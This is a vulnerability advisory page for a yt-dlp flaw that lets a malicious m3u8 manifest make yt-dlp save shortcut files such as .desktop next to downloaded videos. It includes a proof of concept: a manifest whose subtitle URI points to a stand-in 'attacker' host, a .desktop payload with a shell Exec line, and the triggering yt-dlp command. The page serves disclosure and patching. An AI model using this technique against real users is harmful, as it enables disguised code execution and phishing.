CVE-2026-50023: yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)
Summary A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519. Details The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads.
Published Jun 16, 2026 · Updated Jul 20, 2026
Affected packages
yt-dlp
- Ecosystem
- PyPI
- Affected
- < 2026.06.09
- Fixed in
- 2026.6.9
- Check
pip show yt-dlp
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.
Details
The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.
Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.
Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.
While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.
Proof of Concept
1. Start a malicious server: Host a malicious master.m3u8 manifest that points to malicious subtitle payloads:
#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"And host the payload.desktop file with malicious content:
[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle2. Trigger the download: In this case, the generic extractor triggers the exploit if the --write-subs option is used:
yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"Result: yt-dlp writes MyVideo.en.desktop to disk, containing the attacker payload.
Patches
yt-dlp version 2026.06.09 fixes this issue by removing .url, .desktop and .webloc from the global file extension allowlist, and by only allowing those file types to be written from within the context of the --write-link options' functionality.
Workarounds
It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.
Users who are not able to upgrade should do ALL of the following:
- Only pass fully trusted input URLs to yt-dlp
- Do not use the
--write-subs,--write-auto-subs,--embed-subs,--write-thumbnail,--write-all-thumbnails, or--embed-thumbnailoptions - Use
--format -to interactively select download formats and validate their file extensions
Credited to pavanchow, Grub4K, bashonly.
References
- https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-c6mh-fpjc-4pr3
- https://nvd.nist.gov/vuln/detail/CVE-2024-38519
- https://github.com/yt-dlp/yt-dlp/commit/e578e265f7c6ca94a74b30e0d8d6196a4d19fb6a
- https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517
- https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09
- https://nvd.nist.gov/vuln/detail/CVE-2026-50023
- https://github.com/advisories/GHSA-c6mh-fpjc-4pr3
- https://github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3430.yaml
- https://github.com/yt-dlp/yt-dlp
- https://pypi.org/project/yt-dlp
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-55404
yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output
high7.5Jul 24, 2026CVE-2026-50019
yt-dlp: File Downloader cookie leak with curl
medium6.1Jun 16, 2026CVE-2026-50574
yt-dlp: Arbitrary code execution via manifest downloads with aria2c
high8.3Jun 16, 2026GHSA-69qj-pvh9-c5wg
yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp
high7.5Jun 16, 2026CVE-2026-26331
yt-dlp: Arbitrary Command Injection when using the `--netrc-cmd` option
high8.8Feb 23, 2026GHSA-3v33-3wmw-3785
yt-dlp has dependency on potentially malicious third-party code in Douyu extractors
lowJul 8, 2024
